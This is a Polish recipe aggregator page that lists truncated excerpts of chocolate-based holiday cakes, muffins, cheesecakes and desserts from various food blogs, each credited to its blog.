Mazurek a’la Twix 190

zaprezentować przepis na mazurka/tartę a’la Twix. Mazurek a’la Twix jest to połączenie kruchego ciasta z pysznym kremem waniliowym z masą kajmakową. Całość oblana jest gorzką czekoladą. Przepis na mazurka a’la Twix okazał się niebywałym sukcesem w mojej rodzinie. Myślę, że i u was też tak będzie. Składniki: ciasto 100 g herbatników 100 g mąki(...)masy kajmakowej 250 g serka mascarpone 200 ml śmietany 30% 100 g cukru pudru 50 ml wody 30 g żelatyny(3 łyżki) 1 żółtko polewa 100 g czekolady gorzkiej 30 g masła dodatkowo 200 ml śmietany 30% 30 g śmietanfix(1 opakowanie) Herbatniki miksujemy na drobno. W misce mieszamy mąkę, zmielone herbatniki, proszek do pieczenia oraz cukier puder. dodajemy żółtka

Ciasta z tradycjami
Świąteczne muffiny z kajmakiem 97

pieczenia 1 łyżeczka sody 1/3 łyżeczki soli 1 jajko 80 g roztopionego masła 160 g mleka 1 łyżeczka ekstraktu z wanilii 12 łyżeczek kajmaku Do dekoracji: cukier puder białe czekolady ozdoby cukrowe Muffiny muszą być robione szybko :) Najpierw foremkę do muffinek wykładamy sobie papilotkami. Ja użyłam brązowo złotych - świątecznych, do kupienia tutaj . Następnie przygotowujemy sobie dwie miski i najlepiej trzepaczkę(...)środek łyżeczkę kajmaku i kajmak ten zakrywamy ciastem do 2/3 wysokości papilotki. Pieczemy w piekarniku rozgrzanym do 17 stopni przez 20 minut. Po upieczeniu studzimy i posypujemy cukrem pudrem. Czekoladę rozpuszczamy w kąpieli wodnej. Na papierze do pieczenia rysujemy choinkę, następnie czekoladą przelaną do rękawa cukierniczego wyciskamy wzór choinki i wypełniamy go. Wkładamy u dołu patyczek, aby móc naszą choinkę

MamaOskarka
Tort makowo - ajerkoniakowy z nutą cytrusową 309

masła, w temperaturze pokojowej 1 puszka mandarynek ( waga owoców po odsączeniu 175 g ) Nasączenie: 50 ml świeżo wyciśniętego soku z pomarańczy + 2 łyżki wódki Polewa czekoladowa: 130 g czekolady gorzkiej lub deserowej 130 ml śmietanki kremówki 30% lub 36% 20 g masła, miękkiego Wykonanie: Blaty makowe: Mak zalać wrzątkiem do pokrycia, odstawić do całkowitego wystudzenia. Następnie odcisnąć z nadmiaru(...)wyłożyć pozostały krem z mandarynkami, wyrównać. Przykryć ostatnim blatem ciasta, nasączyć pozostałym ponczem. Wierzch i boki posmarować odłożonym kremem. Tort wstawić do lodówki na około 2 godziny. Polewa czekoladowa: Czekoladę posiekać. Śmietankę kremówkę przelać do garnuszka, postawić na palniku i mocno podgrzać, prawie do wrzenia. Dodać posiekaną czekoladę, odstawić na chwilę, następnie wymieszać do otrzymania gładkiego sosu, na koniec dodać

Opowieści z piekarnika
9 najlepszych przepisów na świąteczne ciasta 309

składzie - 120 g margaryny bądź masła JAK ZROBIĆ LUKIER NA PIERNIKI? LUKIER NA PIERNICZKI: - 1 białko - 3/4 szklanki cukru pudru bardzo dobrze zmielonego - ozdoby do zdobienia, orzechy, kuleczki, czekolada  DALSZY CIĄG TUTAJ 5. TARTA ORZECHOWA CZEKOLADOWA I POTRÓJNIE ORZECHOWA TARTA BOŻONARODZENIOWA PRZEPIS NA ŚWIĄTECZNĄ TARTĘ: CIASTO SKŁADNIKI: - 100 g zmielonych orzechów laskowych - 150 g maki pszennej(...)cynamonu, imbiru, pieprzu, gałki muszkatołowej, anyżu - paczka skórki pomarańczowej - 1/2 szklanki żurawiny świeżej - 2 pełne łyżeczki sody oczyszczonej - 2 łyżki czubate kakao PONADTO: - polewa czekoladowa z gorzkiej czekolady - polewa z białej czekolady DO PRZEŁOŻENIA: - marmolada z pigwy (ewentualnie możecie użyć taką jaką lubicie) DALSZY CIĄG TUTAJ 9. BARDZO PUSZYSTY SERNIK SKŁADNIKI NA SERNIK ŚWIĄTECZNY CIASTO NA SPÓD: - 100 g masła

SMYKWKUCHNI
Babka śmietankowa w polewie czekoladowej 152

Kolejna banalna w wykonaniu babka - miksujemy kilka składników, pieczemy, polewamy czekoladą i możemy zajadać się smacznym śmietankowym wypiekiem:).  Ciasto: 2,5 szklanki mąki 1 budyń waniliowy bez cukru 2 łyżeczki proszku do pieczenia 3/4 szklanki cukru 400g śmietany 18% 3 jajka Polewa: 3 łyżki mleka 100g mlecznej czekolady dowolna posypka 1. Jajka ubijamy z cukrem do powstania puszystej masy(...)budyniem - mieszamy delikatnie drewnianą łyżką.  2. Ciasto przelewamy do formy na babkę. Pieczemy w temperaturze 170 stopni przez około 45 minut, do suchego patyczka. Babkę studzimy. 3. Czekoladę rozpuszczamy wraz z mlekiem. Polewamy nią babkę, posypujemy posypką. Zostawiamy do zastygnięcia

Szefowa kuchni
Pomarańczowo makowe ciasto pod gwiazdami 327

Ciasto które pachnie pomarańczami, czekoladą i makiem. Jest lekkie, delikatne i na pewno szybko zniknie ze stołu. Budyń pomarańczowy ze świeżych pomarańczy jest przepyszny. biszkopt makowy: 4 jajka wielkość M 4 łyżki cukru trzcinowego 50 g maku mielonego 3 łyżki płaskie mąki tortowej 1/2 łyżeczki proszku do pieczenia masa pomarańczowa: 1 litr soku z pomarańczy świeżo wyciśnięty /oko(...)owoców/ 3 budynie waniliowe bez cukru 3 łyżki cukru trzcinowego pianka: 500 ml śmietany kremówki 36 % 1 puszka mandarynek w syropie 2/3 opakowania galaretki pomarańczowej czekolada gorzka do dekoracji Jajka wyjmuję wcześniej z z lodówki żeby miały temperaturę pokojową. Białka ubijam na sztywno, dodaję stopniowo po łyżce cukru i dalej ubijam, i kolejna łyżka jak poprzedni rozpuści się. Na końcu

wesoła kuchnia
Babka kawowo-pomarańczowa 135

szklanki cukru 4 jajka 4 czubate łyżeczki kawy rozpuszczalnej skórka otarta z całej pomarańczy 2 i 1/4 mąki pszennej 1,5 łyżeczki proszku do pieczenia sól Polewa: 100g mlecznej czekolady 3 łyżki mleka 50g kandyzowanej skórki pomarańczowej 1. Białka oddzielamy od żółtek. Białka ubijamy na sztywną pianę z dodatkiem odrobiny soli.  2. Żółtka mieszamy z kawą do momentu uzyskania(...)końcu delikatnie mieszamy masę z białkami.  3. Ciasto przekładamy do formy na babkę. Pieczemy w temperaturze 180 stopni przez około 50 minut. Babkę studzimy. 4. Przygotowujemy polewę: czekoladę rozpuszczamy w garnuszku wraz z mlekiem. Czekoladą polewamy babkę, posypujemy skórką pomarańczową. Posypujemy skórką pomarańczową

Szefowa kuchni
FIT Święta - Przepis #100 Domowa czekolada z migdałami (wegańska) 133

Witajcie, to już 100 przepis na moim blogu! Z tej okazji przygotowałam dla Was coś specjalnego - Domową Czekoladę z Migdałami. Do jej przygotowania potrzeba dosłownie 4 składników i trochę czasu:) Czekolada jest bez mleka, glutenu i białego cukru. Idealna! Zamiast migdałów można dodać inne dodatki takie jak żurawina, rodzynki czy inne bakalie. Wartości odżywcze w całej tabliczce(...)przechowywania żywności, które wyłożyłam papierem do pieczenia. Następnie czekamy aż chwilę przestygnie. A potem wkładamy do zamrażalnika na około 30 minut. Po tym czasie wyciągamy i wkładamy do lodówki. Czekoladę należy przechowywać w lodówce ponieważ olej dość szybko się roztapia. Jest na prawdę pyszna! Spróbujcie koniecznie ! Smacznego

Health-Fit-Life
Pyszny kremowy Sernik z karmelem 185

twarogu tłustego lub półtłustego, zmielonego przynajmniej dwukrotnie 125 ml śmietany kremówki 36% 5 dużych jajek 3/4 szklanki drobnego cukru do wypieków 3 kropelki olejku waniliowego 200 g białej czekolady, posiekanej Wszystkie składniki powinny być w temperaturze pokojowej. Czekoladę roztopić w śmietance kremówce (podgrzać śmietankę tylko nie gotować-i wrzucić połamaną czekoladę, przykryć pokrywką, odstawić, po kilku minutach dobrze wymieszać

Kubki smaku
Piernikowe trufle z daktyli 141

suszonych daktyli Radix-bis 2 czubate łyżki kakao lub 3 płaskie 50g orzechów włoskich Radix-bis 1 łyżeczka przyprawy do piernika 2 płaskie łyżeczki oleju kokosowego Polewa: 80g gorzkiej czekolady 3/4 łyżeczki oleju kokosowego Przygotowanie: Daktyle zalać wrzątkiem i moczyć przez około 20-30 minut. Następnie odlać wodę z daktyli. Zblendować na jednolitą masę, dodać pozostałe składniki, dokładnie wymieszać. Formować(...)niewielkie kuleczki. Wstawić do lodówki na około 30 minut. Czekoladę wraz z olejem rozpuścić w kąpieli wodnej. Przestudzić (ale nadal powinna być płynna), a następnie oblać nią przygotowane trufle. Ponownie wstawić do lodówki, żeby czekolada zastygła. Smacznego, Anulla

Fabryka pomysłów
PYSZNE RAFFAELLO Z ADWOKATEM 137

budyń oraz kawę cappuccino. MASA nr 2 SKŁADNIKI: 0,5 l. śmietany 30% 2 śmietany śnieżka 3/4 szkl adwokata 1 duża paczka biszkoptów 2 łyżki wiórków kokosowych 1 biała czekolada 2 łyżki słodkiego mleka 1-2 łyżeczki żelatyny 4-5 łyżek wody WYKONANIE: Białą czekoladę rozpuścić w mleku. Żelatynę rozpuścić w 4-5 łyżkach wody. Śmietanę ubić ze śnieżką dodać(...)adwokat ,pokruszone biszkopty, oraz wiórka kokosowe, a na końcu żelatynę oraz czekoladę. PRZEŁOŻENIE: biszkopt - 1/2 masy nr 1 - ciasto kokosowe - 1/2 masy nr 2 - biszkopt - masa nr 2 - górę posypać kokosem

Dziś Ja gotuje
Świąteczny snikers z orzechami i kremem 364

warstwę ciasta z orzechami, dociskamy wszystkie warstwy. Ciasto wraz z formą zawijamy w folię spożywczą i odstawiamy aby zmiękło, najlepiej na całą noc do lodówki. Rozpuszczamy w kąpieli wodnej czekoladę, czekoladą polewamy wierzch ciasta robiąc esy floresy, pozostawiamy aż czekolada stężeje. Smacznego! The post Świąteczny snikers z orzechami i kremem appeared first on Damsko-męskie spojrzenie na kuchnię

Damsko-męskie spojrzenie na kuchnię
Pyszna, wegańska szarlotka, 5x seriale Netflix 197

cytryny), wymieszać jabłka z cynamonem i cukrem. Przełożyć nadzienie na upieczone ciasto i piec jeszcze ok. pół godziny, ustawić pieczenie na górę. Pod koniec pieczenia posypać ciasto startą, gorzką czekoladą lub inną (ja blenduję w kubku od blendera prawie na pył). Czekolada fajnie się rozpuści, pyszności:). Fajnie pasują tu gorzkie czekolady z dodatkami, np. ze skórką pomarańczy, żurawiną

Qlinarnie i Qlinarnie
Muffinki piernikowe - NAJLEPSZE :) 161

miał to być piernik, ale przed samym pieczeniem zdecydowałam się na muffinki i dobrze zrobiłam, bo taka forma świetnie się przyjęła. Bazą jest mąka orkiszowa, znajdziesz tu także dużo czekolady i korzennych przypraw. Czyli iście świątecznie . Same muffinki są niezwykle delikatne, pulchniutkie, mięciutkie, wręcz rozpływają się w ustach (opinie testerów 😂). Najlepiej smakują jeszcze troszkę ciepłe. Zachęcam do przygotowania takiego wypieku(...)imbiru (Szczypta Świata) szczypta soli  50 g oleju kokosowego  80 g miodu  1 łyżeczka aromatu waniliowego  200 ml mleka 1 jajko Dodatki POLEWA - tabliczka gorzkiej czekolady, u mnie z koprem włoskim (Szczypta Świata) + 1 łyżeczka oleju kokosowego POSYPKA - ziarna kakaowca z przyprawami korzennymi (Szczypta Świata), wiórki kokosowe  Przygotowanie: Do miski wsyp mąkę, kakao, przyprawy

Zdrowie na języku :P
Ekspresowy deser kremowo-bananowy 99

szklanki (370 ml) mleka 1 duży kubek (330 g) śmietanki kremówki 30% 12 sztuk (80 g) biszkoptów kakaowych “kocie języczki” 0,3 tabliczki (30 g) gorzkiej czekolady 2 banany 2 łyżki kawy rozpuszczalnej 0,5 szklanki (125 ml) gorącej wody Przygotowanie: 1) Budyń ugotować wg przepisu na opakowaniu, ale w połowie podanej ilości mleka, a następnie odstawić(...)płytkiego naczynia. 5) Biszkopty namaczać w kawie i układać po dwa na dnie każdej szklanki lub pucharka. 6) Na biszkopty nałożyć warstwę kremu, kilka plasterków banana i posypać startą czekoladą. 7) Deser przełożyć kolejną warstwą 2 namoczonych w kawie biszkoptów, kremem, zakończyć kilkoma plasterkami banana i ponownie posypać startą czekoladą. 8) Przygotowany deser przed podaniem schłodzić w lodówce przez kilka

Fitsweet.me
Muffinki z kremem piernikowym 138

Święta dla mnie smakują piernikiem, czekoladą i pomarańczami. Był już piernik z kremem czekoladowym , a tym razem postanowiłam zrobić odwrotnie i połączyć czekoladowe ciasto z kremem piernikowym, a ponieważ dostałam świetny gadżet jakim jest dozownik do ciasta , postanowiłam go przetestować i upiec muffinki. Powiem wam, że ten dozownik to fajna sprawa, w końcu nie musiałam się bawić w nakładanie ciasta(...)przy okazji miałam czystą formę do muffinek. A teraz zapraszam na przepis bo muffinki wyszły po prostu pyszne. Babeczki czekoladowe: 5 jajek  3/4 szklanki cukru 1/2 tabliczki czekolady 2 szklanki mąki łyżeczka proszku do pieczenia 100 ml oleju Jajka ubijamy z cukrem na puch, wlewamy olej, dodajemy mąkę, proszek i startą na tarce czekoladę, całość dokładnie mieszamy i przekładamy

Cynamonowe szczęście
EXPRESOWY PIERNIK Z POWIDŁAMI + FILMIK 242

DODATKOWO :   3 łyżki mleka 100 g czekolady mlecznej orzechy, posypki do dekoracji                                                                PRZYGOTOWANIE :  Margarynę, cukier, miód, kakao, kawę, przyprawę do piernika przekładamy do garnka(...)dokładnie mieszamy.  Piernik wylewamy do formy keksowej 30/10 , wysmarowanej oliwą i wysypana manną. Pieczemy w nagrzanym piekarniku do 180 % C, przez 40 minut. Ciasto wyjmujemy z studzimy.  Czekoladę z mlekiem podgrzewamy w mikrofalówce, mieszamy i polewamy nią piernik. Posypujemy ozdobnymi posypkami. Chłodzimy aby czekolada całkowicie zastygła.            Zapraszam do obejrzenia filmiku i subskrybcji

Kulinarne Fantazje Marioli
Kawowy piernik 696

krem kawowy warstwa II: 500 ml śmietany kremówki 30% 1 łyżeczka kawy rozpuszczalnej 1 łyżka żelatyny 2 łyżki cukru pudru płaskie 1/5 szklanki wody gorącej kratka czekoladowa: 50 g czekolady gorzkiej 1 łyżeczka masła pozostałe: 1/2 szklanki wina czerwonego orzechy pekan  Piernik(...)zaparzam w gorącej wodzie. Żelatynę namaczam w łyżce zimnej wody i rozpuszczam w gorącej kawie. Jak lekko przestygnie dodaję do śmietany cały czas miksując. Krem wykładam na galaretkę kawową. Czekoladę z masłem rozpuszczam w kąpieli wodnej i studzę . Jeszcze płynną przekładam do woreczka, nacinam koniec i robię kratkę z czekolady na cieście. Dekoruję gwiazdkami i orzechami

wesoła kuchnia
Proteinowe batoniki. Porcja białka oraz błonnika, idealne zaraz po wysiłku fizycznym. 113

pół szklanki siemienia lnianego 4 łyżki miodu pół szklanki pestek z dyni pół szklanki migdałów pół szklanki orzechów włoskich 1/3 szklanki mąki pełnoziarnistej jedno jajko cynamon szczypta soli 100g czekolady gorzkiej (użyłam 86% kakao) Sposób przygotowania: Pestki dyni oraz migdały uprażyć lekko na suchej patelni. Marchewkę zetrzyj na tarce o drobnych oczkach. Miód lekko rozpuść i wymieszaj wszystkie pozostałe składniki(...)oprócz czekolady). Przełóż masę do blaszki do pieczenia wysmarowanej olejem oraz wysypanej lekko mąką. Upiecz w piekarniku (około 30 minut – do zarumienia) w 180ºC. Na koniec na wierzch wylej rozpuszczoną czekoladę i odstaw do ostygnięcia. Ciasto pokrój na batoniki. Wychodzi około 12 sztuk

wysmienity
Ciasto pawi ogon w wersji świątecznej 829

masła 35 ml mleka (ok.1/4 szkl) masa budyniowa: 2 szkl mleka 1/2 szkl cukru 2 łyżki mąki pszennej 3 łyżki mąki ziemniaczanej 250 g masła wierzch: 150 g czekolady gorzkiej 100  ml śmietany 30% Przygotowanie: Rolady: Białka ubijamy ze szczyptą soli oraz cukrem, a następnie dodajemy żółtka.  Do masy przesiewamy mąkę wymieszaną z proszkiem do pieczenia, oraz(...)mieszankę mąk i gotujemy budyń. Budyń studzimy. Masło w temperaturze pokojowej miksujemy na puszystą masę i dodajemy do niej partiami budyń.  wierzch: Śmietanę podgrzewamy i rozpuszczamy w niej czekoladę. Wykonanie: Blat z kruchego ciast smarujemy 1/3 masy budyniowej.  Na masie układamy rolady (każdą z rolad podzieliłam na części wyszły mi więc 4 mniejsze rolady). Rolady przykrywamy pozostałą częścią

Bon appetit mon amie
KAWA BRAZYLIJSKA 96

Kawa brazylijska to nic innego jak kawa z dodatkiem czekolady, śmietanki, mleka i cukru trzcinowego. Doskonale rozgrzewa w chłodne zimowe dni.  SKŁADNIKI 3 kostki gorzkiej czekolady, 1 płaska łyżeczka cukru trzcinowego, 30 ml mleka, 30 ml śmietany kremówki, 100 ml zaparzonej kawy WYKONANIE Czekoladę rozpuszczamy w kąpieli wodnej, dodajemy cukier, 30 ml wrzątku i podgrzewamy aż masa zgęstnieje. Następnie

słodki bratek
Sernik Snickers 575

Pozostajemy w świątecznym klimacie i w kajmakowych wypiekach ;) Dziś ciasto, bez którego niejedna osoba nie wyobraża sobie świątecznego stołu, czyli sernik! U mnie cudownie słodko - słony z dodatkiem orzeszków, czekolady, uwieńczony polewą kajmakowa i kawałkami batonika... Sernik Snickers! Pyszny, wcale nie za ciężki i nie za słodki. Nam bardzo smakował. Polecam! Składniki na spód: 150 g herbatników 65 g masła(...)twarogu, zmielonego minimum trzykrotnie 160 ml kremówki 4 jajka 240 g masy kajmakowej 2/3 szklanki cukru pudru 1 łyżka cukru waniliowego 120 g solonych orzeszków ziemnych 120 g gorzkiej czekolady 1 budyń smietankowy lub waniliowy bez cukru + pozostała masa kajmakowa 2 batoniki Snickers Maślane ciastka zmielić na mąkę, dodać cukier puder i rozpuszczone masło. Dokładnie wymieszać. Masą ciasteczkową wyłożyć spód

Domowa cukiernia Ewy
PIERNICZKI Z MARMOLADĄ + FILMIK 102

Święta to czas przygotowań przeróżnych, pysznych dań a zwłaszcza pierniczków. Przepis jest rewelacyjny, pierniczki są smaczne w dodatku z marmoladą. Udekorowałam je czekoladą, lukrem, i różnymi posypkami(...)DODATKOWO : 200 g marmolady kolorowe posypki, wiórki lukier czekolada do ozdoby

Kulinarne Fantazje Marioli
Śniadaniowe koszyczki Corn Flakes 104

napełnić takimi składnikami, jak na przykład, serek, owoce, ziarna, musli. Ogranicza was tylko wasza wyobraźnia.   3/4 szklanki pokruszonych Lubella Corn Flakes klasycznych 1 tabliczka gorzkiej lub mlecznej czekolady 200 g serka homogenizowanego 1 banan 1 mandarynka 1 łyżka miodu dowolne orzechy, musli,   Małe miseczki (3-4 sztuki) należy ciasno owinąć folią strecz lub zwykłym(...)woreczkiem śniadaniowym. Czekoladę rozpuścić w kąpieli wodnej i polać nią miseczki (oczywiście wierzchu nie polewamy, tylko dno i boki). Gdy czekolada jest jeszcze ciepła, szybko posypujemy płatkami Corn Flakes i odstawiamy do lodówki na 1 godzinę. Po tym czasie wyjmujemy miseczki i delikatnie zdejmujemy koszyczki. Gdyby nie chciały zejść to można na 1 minutkę włożyć na kaloryfer. Gotowe koszyczki

Jadło i czytadło
Wafelki orzechowe 86

Jeden z prostszych deserów. Przekładane wafle. Moje przełożone masą orzechową Helio z kawałkami orzechów, dodatkowo polane czekoladą i posypane orzechami. Jest orzechowo i czekoladowo na maksa! Wafle orzechowe z masą orzechową z kawałkami orzechów Helio . Jest pysznie! Składniki: 1 opakowanie wafli, użyłam kwadratowych, zamysł był taki by pokroić je na mniejsze wafelki, a la batoniki 2 puszki masy orzechowej Helio(...)roztopione 2 czekolady deserowe kilka orzechów do dekoracji Przygotowanie: Wafle smaruję kolejno masą orzechową, od brzegu do brzegu, dokładnie. Gdy posmaruję jeden wafel, przykładam następny, smaruję, przykładam kolejnym. Gdy przełożę wszystkie owijam w folię i wstawiam do lodówki obciążając czymś cięższym, np. drewnianą dużą deską do krojenia, garnkiem z wodą. Obciążając wafle dociskam je do siebie. Po kilku godzinach wyjmuję

Zasmakuj Kuchni
Buraczane babeczki z polewą czekoladową 192

mleka kokosowego niepełna 1 szklanka mąki kokosowej (100 g) 1 łyżka miodu 10 daktyli 1 łyżeczka proszku do pieczenia (bezglutenowego) szczypta: cynamonu, soli morskiej, sody oczyszczonej 1/3 tabliczki gorzkiej czekolady (30 g) 50 g masła klarowanego polewa czekoladowa 2 łyżki gorzkiego kakao 2 łyżki ksylitolu 1 łyżka oleju kokosowego do dekoracji wiórki kokosowe ziarenka granatu Masło klarowane wraz z miodem(...)rozpuścić, ostudzić. Daktyle zalać wrzącą wodą, odstawić na kilka minut, następnie wylać wodę. Czekoladę drobno posiekać.  Upieczone, obrane buraki wraz z daktylami zmiksować na gładką masę (na puree).    Do buraków dodać mąkę kokosową, czekoladę, roztopione masło, wsypać proszek do pieczenia, szczyptę cynamonu, soli morskiej i sody oczyszczonej. Całość ze sobą wymieszać. Na sam koniec wlać mleko kokosowe

Ugotować
Tort ze śliwek 110

tartą. Piec w piekarniku nagrzanym do 120 stopni około godziny. W oryginalnym przepisie, tort należy polukrować, przybrać konfiturą i galaretą. Ja użyłam polewę czekoladową. 35 g masła, 50 g czekolady deserowej, 25 g czekolady białej, Do miseczki włożyć masło i pokruszoną czekoladę, roztopić w kąpieli wodnej. Dokładnie wymieszać. Polać tort. Oczywiście nie polewamy tortu gorącą polewą, musimy ją trochę przestudzić

królestwo garów
Mus truskawkowy z bananem i bitą śmietaną 126

pudru Mus truskawkowo-bananowy: 0,5 kg mrożonych truskawek 2 banany 2 łyżki cukru pudru sok z 1 mandarynki Dodatkowo: 1 galaretka truskawkowa bezy rodzynki (50 g) starta gorzka czekolada (50 g) 1 kieliszek rumu (30 ml) Sposób przygotowania: Galaretkę truskawkową przygotować według przepisu na opakowaniu, przestudzić i wstawić do lodówki, aby stężała Zamrożone truskawki, lekko rozmrozić i zmiksować(...)dodatkiem 3 łyżek cukru pudru. Dodać pokrojone banany, sok z mandarynki i ponownie zmiksować. Rodzynki zalać rumem, mają wchłonąć cały alkohol. Czekoladę zetrzeć na tarce  warzywnej o grubych oczkach. Schłodzoną w lodówce śmietanę zmiksować z 3 łyżkami cukru pudru. Przygotować 6 pucharków i równo rozdzielić do każdego mus truskawkowo-bananowy. Na nim ułożyć śmietanę. Zastygniętą galaretkę roztrzepać widelcem

Gosia gotuje
Świąteczny sernik z suszonymi śliwkami 132

spód w tortownicy. Sernik wstawić do nagrzanego do 180 °C piekarnika. Piec godzinę.  Wierzch sernika 3 - 4 łyżki masy kajmakowej 200 - 250 g suszonych śliwek kalifornijskich łyżka mleka czekolada gorzka Na upieczony, wystudzony sernik wyłożyć masę kajmakową. Przed jej wyłożeniem można odciąć spieczone brzegi sernika. Śliwki pokroić w mniejsze kawałki, porozkładać na masie kajmakowej. Czekoladę połamać w kosteczki, rozpuścić(...)rondelku z dodatkiem mleka. Rozpuszczoną czekoladą udekorować wierzch sernika

Kuchenne aromaty
Ciasto Zmierzch 1395

kakao 4 łyżki cukru 1 łyżeczka cukru waniliowego 1/2 łyżeczki proszku do pieczenia szczypta soli Nasączenie: 125 ml przestudzonej, mocnej kawy z dodatkiem alkoholu Masa straciatella: 100 g gorzkiej czekolady 500 ml śmietany kremówki 2 łyżki cukru pudru 2 łyżeczki żelatyny woda Krem cappuccino: 500 ml kremówki 7 łyżek kawy cappuccino 2 łyżki cukru pudru 2 łyżki żelatyny woda Galaretka(...)pieczenia, wylać ciasto, wyrównać powierzchnię. Piec w temperaturze 170 stopni przez około 22 minut, do tzw. suchego patyczka. Wystudzić. Zimne ciasto dosyć obficie nasączyć ponczem.  Masa straciatella - czekoladę zetrzeć na tarce na dużych oczkach. Schłodzoną śmietankę ubić na sztywno, dodać cukier puder. Żelatynę rozprowadzić w gorącej wodzie, schłodzić do temperatury pokojowej. Do żelatyny dodać 2 łyżki śmietanki, dokładnie wymieszać

Domowa cukiernia Ewy
Rolada z jabłkami i cynamonem 145

łyżeczki proszku do pieczenia Mus jabłkowy: 1 kg jabłek 1 galaretka cytrynowa 5 – 7 łyżek cukru (w zależności od rodzaju jabłek) ¼ szklanki wody 2 – 3 łyżeczki cynamonu Dodatkowo: czekolada lub cukier puder Przygotowanie: Biszkopt: Białka oddzielić od żółtek. Białka ubić na sztywno, dodać cukier i jeszcze chwilę ubijać. Zmniejszyć obroty miksera na najmniejsze(...)rozwinąć, rozsmarować mus jabłkowy i dłuższym bokiem zwinąć roladę. Roladę zawinąć w ścierkę i schować do lodówki na około 2 h. Następnie polać rozpuszczoną czekoladą lub posypać cukrem pudrem i odstawić najlepiej na całą noc do lodówki, aby nadzienie jabłkowe stężało. Krok po kroku: 1. Ubić białka 2. Dodać żółtka

KuchniaWeDwoje.pl
FIT CZEKOLADKI 149

SKŁADNIKI gotowe korpusy czekoladowe, 1/3 szkl. masła orzechowego, 1 łyżka cukru trzcinowego Diamant, 1/3 szkl. mleka, 25 g odżywki białkowej o smaku orzecha laskowego, 1łyżka kakao, gorzka czekolada, mielone orzechy laskowe WYKONANIE Masło miksujemy z cukrem, mlekiem, odżywką i kakao. Gotowy krem przekładamy do worka cukierniczego. Nadziewamy korpusy. Wkładamy do lodówki na 30 minut aby masa stężała. Czekoladę rozpuszczamy(...)kąpieli wodnej, lekko studzimy, następnie oblewamy czekoladą, usuwamy nadmiar i obtaczamy w zmielonych orzechach. #cukiertrzcinowy, #syroptrzcinowy, #diamant

słodki bratek
Ekspresowe Ciastka Jeżyki 186

ciasteczka są po prostu super ! Przygotowuje się je w dosłownie 15 minut, a potem przyjemności z jedzenia jest mnóstwo :) Najlepiej smakują na drugi dzień kiedy czekolada idealnie zastygnie a całe ciastko przejdzie wszystkimi smakami :) Składniki na około 24 ciastka: 1 i 1/2 tubki mleka zagęszczonego słodzonego (razem około 225 g) 1 tabliczka deserowej czekolady (może też być mleczna jeśli lubicie(...)masła 10 garści ryżu lub pszenicy preparowanej bez miodu około 5 łyżek pokruszonych na drobno płatków kukurydzianych np. od Lubelli garść rodzynek, posiekanych orzechów, migdałów itp. 1. Masło, cukier, czekoladę i mleko z tubek umieścić w garnuszku, rozpuścić i zagotować. 2. Następnie dosypać płatki kukurydziane, ryż/pszenicę, orzechy, rodzynki itp. tyle aby masa była dość gęsta. 3. Małą łyżeczką

Gotowanie...to proste !
Ciasto Makowe „Gwiazdka” z Kokosem i Ananasem 700

tylko jedno w głowie…. Szyszki! Uwielbiam je, to wspomnienie dzieciństwa :) Mam zawsze lepiła niewielki, podłużne szyszki, obfite w toffi… smak był nieziemski :) Czasami końcówkę takiej szyszki maczała w czekoladzie – to dopiero rozpusta! Jako, że była z nas rodzina łakomczuchów, toffi było tak dużo, że czasem ciężko było szyszki pogryźć! Pamiętam, jak kiedyś w takiej szyszce „zgubiłam” trzy mleczaki(...)oraz mocną kawą. Nadzienie zależy od naszej fantazji. Doskonale pasuje tutaj nadzienie w postaci zmielonych migdałów, wiórków kokosowych czy orzechów laskowych. W tym zestawieniu widzę również suszoną śliwkę z czekoladą. Dla dorosłych zrobiłabym wersję z nadzieniem adwokatowym. 3. Karolina Kos 28 listopada 2017 o 17:10 Cukierki Werther’s Original chętnie wykorzystałabym do ulubionego jesiennego deseru- jabłka w „szlafroczkach”, który

Mała Cukierenka
Zdrowa przekąska. Jesienne kulki dyniowe w trzech smakach 186

mąka owsiana) 30 g orzechów włoskich płynne słodzidło do smaku: miód, syrop klonowy, syrop daktylowy itp  SMAK 1: łyżeczka cynamonu, łyżka mąki kokosowej SMAK 2: 30 g czekolady gorzkiej 90% kakao SMAK 3: łyżeczka tartego imbiru, łyżeczka tartej skórki z pomarańczy, łyżka mąki kokosowej Dynię należy upiec w piekarniku do miękkości, obrać ze skórki i zmiksować blenderem na papkę(...)równe części. SMAK 1 : Do pierwszej dodać cynamon i łyżkę mąki kokosowej, ugnieść ręką. Formować małe kulki ok 10 gramowe SMAK 2 : Do drugiej części dodać roztopioną gorzką czekoladę i szybko zagnieść by czekolada nie zastygła za szybko. Formować małe kulki ok 10 gramowe SMAK 1 : Do trzeciej części dodać sparzony tarty imbir i sparzoną tartą skórkę pomarańczową i mąkę

coolinarny
Brownie z suszonymi śliwkami i kremem arachidowym 139

się go wziąć do ręki. Ja wziąłem i zrobiłem Wam brownie z suszonymi śliwkami i kremem arachidowym. Łapcie po kawałku, a potem biegnijcie do sklepów. Składniki: 3 tabliczki gorzkiej czekolady (ok. 300 g) 1 kostka masła 3 jajka 1 szklanka cukru 3/4 szklanki mąki 1 szczypta soli 1 szklanka śmietanki 36% albo 42% 250 g serka mascarpone 4 łyżki cukru(...)pudru 1 szklanka orzechów ziemnych (bez soli) 1 garść śliwek suszonych Wykonanie: Czekoladę kruszycie i razem z masłem rozpuszczacie w kąpieli wodnej, a następnie studzicie. Jajka ubijacie mikserem z cukrem na jasną i puszystą masę. Dodajecie ostudzoną czekoladę, mąkę i sól, mieszacie do połączenia się składników. Śliwki kroicie na cienkie plasterki, część dodajecie do ciasta, część zostawiacie do ozdoby

GRUBY WAŁEK
Kokosowy sernik na piernikowym spodzie 145

Przepyszny serniczek kokosowy na bazie twarogu oraz mleka kokosowego na kruchym, piernikowym spodzie polany czekoladą mleczną i udekorowany ciasteczkami Rafaello oraz granatem. Brzmi to jak przepis idealny i taki zresztą jest. Jeżeli jesteście fanami smaku kokosa to z pewnością ta propozycja przypadnie Wam do gustu. Dodatkowo sernik wzbogaciłam o kruchy, piernikowy spód, który zyskał jeszcze bardziej karmelowy smak za sprawą(...)łyżka mąki pszennej  1/2 szklanki cukru trzcinowego Diamant Dry Demerara  3 łyżki wiórków kokosowych  Dodatkowo: opakowanie popularnych ciastek kokosowych  granat  1/2 mlecznej czekolady  Składniki na kruchy spód zagnieć w misce na jednolite ciasto. Formę wyłóż papierem do pieczenia. Dno formy wylep ciastem i podpiecz spód w piekarniku nagrzanym do 200 stopni przez 15 minut

Mango Papaja
MUFFINKI PIERNIKOWE 146

